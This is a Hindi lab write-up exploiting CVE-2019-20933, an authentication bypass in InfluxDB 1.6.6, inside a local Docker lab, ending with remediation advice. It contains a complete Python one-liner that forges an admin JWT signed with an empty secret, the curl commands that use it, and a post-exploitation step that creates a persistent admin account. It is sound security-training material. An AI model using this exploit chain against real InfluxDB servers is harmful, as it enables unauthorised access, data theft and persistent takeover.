लैब 5-CVE-2019-20933

I. सिस्टम विश्लेषण

हमले की सतह की पहचान

पर्यावरण में क्या चल रहा है, उससे शुरू करते हैं। मैं सभी सक्रिय कंटेनरों को सूचीबद्ध करता हूँ:

docker ps

पीड़ित एक एकल पोर्ट उजागर करता है: 8086।

वर्तमान में, मेरे पास लक्ष्य के बारे में विस्तृत जानकारी नहीं है। docker ps आउटपुट से, सिस्टम बाह्य रूप से केवल पोर्ट 8086 पर एक उल्लेखनीय सेवा उजागर करता है, जो कंटेनर के अंदर की सेवा से मैप की गई है। यह विश्लेषण करने के लिए प्राथमिक हमले की सतह है।

इसे ब्राउज़र के माध्यम से तुरंत एक्सेस करने के बजाय, हम Nmap का उपयोग करके सेवा की फिंगरप्रिंटिंग करते हैं ताकि यह पता लगाया जा सके कि पोर्ट 8086 पर कौन सी सेवा चल रही है:

nmap -sV -sC -p 8086 192.168.3.137

स्कैन परिणाम दिखाते हैं कि पोर्ट 8086 InfluxDB OSS 1.6.6 की HTTP सेवा है। यह एक HTTP API के माध्यम से उजागर एक समय-श्रृंखला डेटाबेस है, न कि एक सामान्य वेब एप्लिकेशन।

फिंगरप्रिंटिंग के बाद सोच विश्लेषण

InfluxDB एक ओपन-सोर्स टाइम सीरीज़ डेटाबेस (TSDB) है जो Go में लिखा गया है। RDBMS (सटीक लेन-देन के लिए अनुकूलित) या Elasticsearch (पाठ खोज के लिए अनुकूलित) के विपरीत, InfluxDB एक ही उद्देश्य के साथ बनाया गया था: बड़े लेखन वॉल्यूम को संभालना (उच्च लेखन थ्रूपुट) और कम विलंबता के साथ समय अक्ष के साथ डेटा क्वेरी करना।

चूंकि सेवा को InfluxDB के रूप में फिंगरप्रिंट किया गया है, अगला कदम यह देखना है कि InfluxDB ग्राहकों के साथ कैसे संचार करता है। InfluxDB v1 HTTP API दस्तावेज़ के अनुसार, पोर्ट 8086 डिफ़ॉल्ट HTTP API पोर्ट है। महत्वपूर्ण एंडपॉइंट में शामिल हैं:

• /ping: सर्वर की परिचालन स्थिति की जाँच करता है।
• /query: मेटाडेटा या डेटा पढ़ने के लिए InfluxQL क्वेरी भेजता है।
• /write: डेटाबेस में समय-श्रृंखला डेटा लिखता है।

⇒ सोच: Nmap द्वारा सेवा को InfluxDB http admin 1.6.6 के रूप में पहचानने के बाद, हम इसे एक मानक वेबसाइट की तरह परीक्षण करना जारी नहीं रखते। वेब एप्लिकेशन के लिए, हम आमतौर पर रूट, लॉगिन फॉर्म या निर्देशिकाओं की तलाश करते हैं। हालांकि, InfluxDB के साथ, हमले की सतह HTTP API के भीतर है। इसलिए, हमें मानक InfluxDB API एंडपॉइंट का परीक्षण करने के लिए स्विच करना होगा ताकि यह निर्धारित किया जा सके कि API को प्रमाणीकरण की आवश्यकता है या नहीं। नतीजतन, अगली परीक्षण दिशा ब्राउज़र के माध्यम से / तक पहुँचना नहीं है, बल्कि InfluxDB के API एंडपॉइंट पर सीधे अनुरोध भेजना है।

API व्यवहार का विश्लेषण और प्रमाणीकरण लक्ष्यों की पहचान

/ping एंडपॉइंट की जाँच

पोर्ट 8086 को InfluxDB HTTP API के रूप में पहचानने के बाद, सेवा के चालू होने की पुष्टि करने के लिए /ping एंडपॉइंट की जाँच करें:

curl -i <http://192.168.3.137:8086/ping>

प्रतिक्रिया 204 No Content पुष्टि करती है कि InfluxDB सामान्य रूप से काम कर रहा है। हेडर आगे सेवा संस्करण को InfluxDB OSS 1.6.6 के रूप में पुष्टि करते हैं।

/query एंडपॉइंट पर प्रमाणीकरण की जाँच

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

/query एंडपॉइंट प्रमाणीकरण क्रेडेंशियल के बिना सीधे क्वेरी की अनुमति नहीं देता है। यह पुष्टि करता है कि InfluxDB में प्रमाणीकरण सक्षम है और सिस्टम को भेजी गई सभी अनाम क्वेरी को ब्लॉक करता है।

मैं सोचने पर स्विच करता हूँ: क्या InfluxDB संस्करण 1.6.6 में कोई भेद्यता है जो प्रमाणीकरण तंत्र को बायपास करने की अनुमति देती है?

सार्वजनिक भेद्यता डेटाबेस का संदर्भ देकर, 1.7.6 से पहले के InfluxDB संस्करण CVE-2019-20933 से प्रभावित हैं। यह InfluxDB के प्रमाणीकरण फ़ंक्शन के भीतर एक प्रमाणीकरण बायपास भेद्यता है, जो खाली साझा गुप्त कुंजी वाले JWT टोकन को संभालने से संबंधित है।

चूंकि लक्ष्य InfluxDB 1.6.6 चला रहा है, जो पैच किए गए संस्करण 1.7.6 से कम है, सेवा प्रभावित संस्करण सीमा के अंतर्गत आती है।

यह निष्कर्ष निकाला जा सकता है:

सेवा: InfluxDB OSS
संस्करण: 1.6.6
प्रमाणीकरण: सक्षम
CVE मैपिंग: CVE-2019-20933
प्रभाव: प्रमाणीकरण बायपास
स्थिति: संस्करण असुरक्षित

⇒ सोच: प्रारंभ में, /query एंडपॉइंट 401 Unauthorized लौटाता है, जो दर्शाता है कि प्रमाणीकरण तंत्र सक्रिय है। हालांकि, प्रमाणीकरण सक्षम होने का मतलब पूर्ण सुरक्षा नहीं है। जब संस्करण को 1.6.6 के रूप में फिंगरप्रिंट किया जाता है, तो हमें इसे ज्ञात CVE से सहसंबंधित करने की आवश्यकता है। परिणाम बताते हैं कि यह संस्करण CVE-2019-20933 से प्रभावित सीमा के अंतर्गत आता है, जिसका अर्थ है कि /query एंडपॉइंट की रक्षा करने वाले प्रमाणीकरण तंत्र को बायपास करना संभव है। इन पहचान परिणामों के आधार पर, शोषण चरण उपयुक्त JWT टोकन उत्पन्न करके और /query एंडपॉइंट के विरुद्ध क्वेरी निष्पादित करके CVE-2019-20933 को सत्यापित करने पर केंद्रित होगा।

भेद्यता तंत्र विश्लेषण (CVE-2019-20933)

CVE-2019-20933 भेद्यता InfluxDB के 1.7.6 से पहले के संस्करणों में services/httpd/handler.go फ़ाइल के अंदर authenticate फ़ंक्शन में होती है।

InfluxDB में JWT प्रमाणीकरण तंत्र

InfluxDB HTTP API अनुरोधों के लिए JSON Web Tokens (JWT) का उपयोग करके प्रमाणीकरण का समर्थन करता है। हेडर के साथ अनुरोध प्राप्त करने पर:

Authorization: Bearer <token>

InfluxDB निम्नलिखित चरणों का पालन करेगा:

1. टोकन को डीकोड करके हेडर और पेलोड निकालें।
2. टोकन हस्ताक्षर सत्यापन के लिए गुप्त कुंजी के रूप में कार्य करने के लिए influxdb.conf फ़ाइल से shared-secret कॉन्फ़िगरेशन मान पढ़ें।
3. यदि हस्ताक्षर मान्य है, तो क्वेरी निष्पादित करने वाले उपयोगकर्ता को निर्धारित करने के लिए दावों से username फ़ील्ड प्राप्त करें।

दोष

प्रभावित संस्करणों में, यदि JWT प्रमाणीकरण सक्षम है लेकिन shared-secret पैरामीटर कॉन्फ़िगर नहीं किया गया है, तो गुप्त मान को एक खाली स्ट्रिंग ("") के रूप में संसाधित किया जा सकता है।

सिस्टम JWT हस्ताक्षर को सत्यापित करने से पहले गुप्त की सुरक्षा शक्ति का पर्याप्त रूप से सत्यापन करने में विफल रहता है। यह एक हमलावर को एक कस्टम JWT बनाने, इसे खाली गुप्त कुंजी के साथ हस्ताक्षरित करने, और फिर username दावे को सिस्टम पर एक मान्य खाते पर सेट करने की अनुमति देता है, जैसे कि admin यदि यह खाता लैब में मौजूद है।

जब यह टोकन Authorization: Bearer <token> हेडर के माध्यम से प्रस्तुत किया जाता है, तो InfluxDB हस्ताक्षर को सत्यापित करने के लिए उसी खाली गुप्त कुंजी का उपयोग करता है। यदि हस्ताक्षर मेल खाता है और उपयोगकर्ता नाम मौजूद है, तो अनुरोध को उपयोगकर्ता के वास्तविक पासवर्ड की आवश्यकता के बिना अधिकृत किया जाएगा।

प्रसंस्करण प्रवाह को निम्नानुसार संक्षेपित किया जा सकता है:

तर्क स्तर पर शोषण प्रवाह:

InfluxDB < 1.7.6
→ प्रमाणीकरण सक्षम
→ खाली shared-secret
→ हमलावर गुप्त कुंजी "" के साथ हस्ताक्षरित JWT बनाता है
→ Authorization: Bearer के माध्यम से टोकन भेजता है
→ सर्वर टोकन स्वीकार करता है
→ /query पर क्वेरी सफल होती है

सारांश

CVE तंत्र को समझने के बाद, केवल संस्करण के आधार पर निष्कर्ष निकालने से बचने के लिए इसे लक्ष्य से सहसंबंधित करना आवश्यक है।

इस समय, CVE-2019-20933 को लक्ष्य के लिए अत्यधिक उपयुक्त उम्मीदवार के रूप में पहचाना गया है। हालांकि, व्यावहारिक शोषण की पुष्टि करने के लिए, हमें एक खाली shared secret के साथ हस्ताक्षरित JWT उत्पन्न करना होगा और इसे /query एंडपॉइंट पर प्रेषित करना होगा।

यदि सर्वर इस टोकन को स्वीकार करता है और क्वेरी निष्पादन की अनुमति देता है, तभी हम यह निष्कर्ष निकाल सकते हैं कि CVE का सफलतापूर्वक शोषण किया गया।

II. शोषण

मैन्युअल रूप से जाली JWT बनाना

उपरोक्त भेद्यता तंत्र विश्लेषण से, शोषण के लिए शर्तें हैं:

1. सिस्टम पर एक मान्य username के साथ JWT बनाएं।
2. इस टोकन को खाली गुप्त कुंजी ("") के साथ हस्ताक्षरित करें।
3. /query एंडपॉइंट पर Authorization: Bearer <token> हेडर के माध्यम से टोकन भेजें।

बनाने के लिए JWT संरचना की पहचान

JWT में 3 डॉट-पृथक भाग होते हैं: Header.Payload.Signature

हेडर

{"alg":"HS256","typ":"JWT"}

पेलोड

{"username":"admin","exp":2147483647}

• username: लक्ष्य खाता। इस लैब में, InfluxDB डिफ़ॉल्ट admin उपयोगकर्ता बनाता है।
• exp: टोकन समाप्ति समय, अत्यधिक दूर भविष्य (वर्ष 2038) में सेट किया गया है ताकि समाप्ति के कारण अस्वीकृति से बचा जा सके।

हस्ताक्षर

HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))

Kali पर Python वन-लाइनर के माध्यम से JWT उत्पन्न करना

Kali पर, हम एक कमांड के साथ पूर्ण JWT उत्पन्न करते हैं:

python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

हमें स्ट्रिंग प्राप्त होती है:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw

• b64url(): Python dict को JSON स्ट्रिंग में परिवर्तित करता है और इसे Base64URL प्रारूप में एनकोड करता है (JWT मानक के अनुसार = पैडिंग हटाकर)।
• hmac.new(b'', ...): खाली कुंजी (b'') के साथ HMAC-SHA256 एल्गोरिथम का उपयोग करके संदेश पर हस्ताक्षर करता है। यह शोषण वेक्टर है — खाली कुंजी सर्वर पर अनकॉन्फ़िगर किए गए shared-secret से मेल खाती है।
• अंतिम परिणाम JWT RFC 7519 मानक के अनुरूप Header.Payload.Signature स्ट्रिंग है।

CVE को सत्यापित करने के लिए /query एंडपॉइंट पर टोकन भेजना

टोकन को एक पर्यावरण चर में सहेजें और फिर SHOW DATABASES क्वेरी भेजें:

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
  -H "Authorization: Bearer $TOKEN"

परिणाम विश्लेषण:

• प्रतिक्रिया 401 Unauthorized से 200 OK में बदल जाती है।
• सर्वर सिस्टम पर मौजूद डेटाबेस की वास्तविक सूची लौटाता है।
• यह साबित करता है कि खाली गुप्त कुंजी से हस्ताक्षरित JWT को सर्वर द्वारा स्वीकार कर लिया गया, जिससे सफलतापूर्वक क्वेरी अनुमतियाँ प्राप्त हुईं।

⇒ CVE-2019-20933 को लक्ष्य पर सफलतापूर्वक शोषित किए जाने की पुष्टि हुई है। एक रिक्त कुंजी के साथ हस्ताक्षरित स्वयं-निर्मित JWT के साथ, हमने प्रमाणीकरण तंत्र को पूरी तरह से बायपास कर दिया और admin के रूप में क्वेरी पहुँच प्राप्त कर ली।

III. पोस्ट-एक्सप्लॉइटेशन

प्रमाणीकरण को सफलतापूर्वक बायपास करने के बाद, हम सिस्टम पर डेटाबेस के अंदर संवेदनशील डेटा एकत्र करने के लिए गहन पोस्ट-एक्सप्लॉइटेशन के साथ आगे बढ़ते हैं। SHOW DATABASES परिणामों से, सिस्टम में 2 डेटाबेस हैं: _internal (InfluxDB का डिफ़ॉल्ट आंतरिक निगरानी डेटाबेस) और sample (परिचालन व्यावसायिक डेटाबेस)।

1. InfluxDB सिस्टम पर उपयोगकर्ताओं को सूचीबद्ध करना

curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
  -H "Authorization: Bearer $TOKEN"

सिस्टम में केवल एक ही उपयोगकर्ता है: admin प्रशासनिक विशेषाधिकारों के साथ (admin: true). यह पुष्टि करता है कि हमारे जाली JWT ने सिस्टम पर एकमात्र प्रशासनिक खाते को सफलतापूर्वक प्रतिरूपित किया है।

2. _internal डेटाबेस में मापों को सूचीबद्ध करना

sample डेटाबेस में कोई माप नहीं है (यह खाली है)। हालांकि, _internal डेटाबेस InfluxDB का आंतरिक निगरानी डेटाबेस है और इसमें हमेशा सिस्टम मेट्रिक्स होते हैं:

curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
  -H "Authorization: Bearer $TOKEN"

_internal डेटाबेस में 12 आंतरिक निगरानी माप हैं: cq, database, httpd, queryExecutor, runtime, shard, subscriber, tsm1_cache, tsm1_engine, tsm1_filestore, tsm1_wal, और write. ये तालिकाएँ InfluxDB इंस्टेंस के विस्तृत परिचालन आँकड़े संग्रहीत करती हैं—जिसमें HTTP क्वेरी लॉग, डेटाबेस प्रदर्शन मेट्रिक्स और स्टोरेज इंजन की स्थिति शामिल है।

3. एक नया प्रशासनिक उपयोगकर्ता बनाना

यह प्रदर्शित करने के लिए कि बायपास किया गया admin पहुँच केवल पढ़ने के कार्यों तक सीमित नहीं है, बल्कि लेखन और प्रशासनिक पहुँच भी प्रदान करती है, हम पूर्ण प्रशासनिक विशेषाधिकारों के साथ एक नया उपयोगकर्ता खाता बनाते हैं:

curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
  -H "Authorization: Bearer $TOKEN"

प्रतिक्रिया statement_id: 0 बिना किसी error फ़ील्ड के लौटाती है—यह पुष्टि करती है कि CREATE USER कमांड सफलतापूर्वक निष्पादित हुआ। हमलावर अब hacked / Dung क्रेडेंशियल का उपयोग करके पूर्ण प्रशासक पहुँच के साथ सीधे लॉग इन कर सकता है, बिना जाली JWT टोकन की आवश्यकता के।

⇒ यह सबसे मजबूत प्रमाण है कि भेद्यता CVE-2019-20933 न केवल डेटा के प्रदर्शन की अनुमति देती है, बल्कि एक हमलावर को InfluxDB सिस्टम पर पूर्ण नियंत्रण प्राप्त करने की भी अनुमति देती है—जिसमें उपयोगकर्ता प्रावधान, डेटाबेस विनाश और सिस्टम कॉन्फ़िगरेशन संशोधन शामिल हैं।

विशेषाधिकार वृद्धि और सिस्टम प्रभाव का आकलन

प्रत्यक्ष रूप से OS स्तर पर लक्षित रिमोट कोड एक्सीक्यूशन (RCE) भेद्यताओं (जैसे लैब 3 में) के विपरीत, CVE-2019-20933 अपने प्रभाव के दायरे को डेटाबेस-स्तरीय प्रशासन तक सीमित रखता है। हालांकि, गंभीरता निम्न कारणों से उच्च बनी हुई है:

• गोपनीयता का पूर्ण नुकसान: हमलावर InfluxDB के अंदर रहने वाले सभी संवेदनशील डेटा को निकाल सकते हैं, जिसमें सिस्टम मेटाडेटा और कंटेनर पर्यावरण कॉन्फ़िगरेशन शामिल हैं।
• अखंडता का पूर्ण नुकसान: हमलावरों के पास डेटा को संशोधित करने, हटाने या धोखाधड़ी वाले डेटा को इंजेक्ट करने की पूर्ण अनुमतियाँ हैं—जैसा कि पूर्ण प्रशासनिक विशेषाधिकारों के साथ hacked उपयोगकर्ता के सफल निर्माण से सिद्ध हुआ है।
• स्थिरता: प्रशासनिक खाता प्रदान करने के बाद, हमलावर स्थिरता स्थापित कर सकता है, कस्टम जाली JWT पर निर्भर हुए बिना मानक बेसिक प्रमाणीकरण का उपयोग करके प्रमाणीकरण कर सकता है।
• पार्श्व गति की संभावना: एकत्रित जानकारी (जैसे कंटेनर होस्टनाम और डेटाबेस आर्किटेक्चर) का उपयोग डॉकर सबनेट के भीतर आसन्न सेवाओं को लक्षित करने और पिवट करने के लिए किया जा सकता है।

IV. जोखिम आकलन एवं सुधार अनुशंसाएँ

जोखिम आकलन

सुधार अनुशंसाएँ

इस गंभीर सुरक्षा भेद्यता को पूरी तरह से ठीक करने के लिए, सिस्टम प्रशासकों को तुरंत निम्नलिखित उपायों को लागू करना चाहिए:

तत्काल उपाय (अल्पकालिक):

1. एक मजबूत साझा गुप्त कॉन्फ़िगरेशन लागू करें यदि अपग्रेड करना तुरंत संभव नहीं है, तो [http] अनुभाग के तहत एक लंबा, जटिल और यादृच्छिक साझा गुप्त परिभाषित करने के लिए influxdb.conf कॉन्फ़िगरेशन फ़ाइल संपादित करें: नोट: कॉन्फ़िगरेशन संपादित करने के बाद परिवर्तनों को प्रभावी करने के लिए InfluxDB सेवा को पुनरारंभ करें।

   root@kitploit:~

   ini
   
   [http]
     enabled = true
     auth-enabled = true
     shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
   

2. InfluxDB इंस्टेंस को पैच किए गए संस्करण में अपग्रेड करें InfluxDB को तुरंत संस्करण 1.7.6 या उच्चतर में अपडेट करें। डेवलपर्स ने इन संस्करणों में प्रमाणीकरण रूटीन को संशोधित किया है ताकि खाली या असुरक्षित साझा गुप्त कुंजियों से हस्ताक्षरित JWT टोकन को अस्वीकार किया जा सके।

गहन सुरक्षा उपाय (दीर्घकालिक):

1. नेटवर्क सेगमेंटेशन नियम लागू करें
   • API पोर्ट 8086 को सार्वजनिक इंटरनेट पर कभी उजागर न करें।
   • फ़ायरवॉल नीतियों या पृथक डॉकर नेटवर्क का उपयोग करके InfluxDB के साथ संचार को अधिकृत आंतरिक सेवाओं (जैसे Grafana, Telegraf, या बैकएंड एप्लिकेशन) तक सख्ती से सीमित करें।
2. HTTPS प्रोटोकॉल का उपयोग करें
   • InfluxDB API एंडपॉइंट के लिए SSL/TLS कॉन्फ़िगर करें ताकि सभी प्रेषित टेलीमेट्री डेटा (JWT टोकन सहित) एन्क्रिप्टेड हो, जिससे मैन-इन-द-मिडिल (MitM) सुनने के माध्यम से टोकन संग्रह का जोखिम समाप्त हो जाए।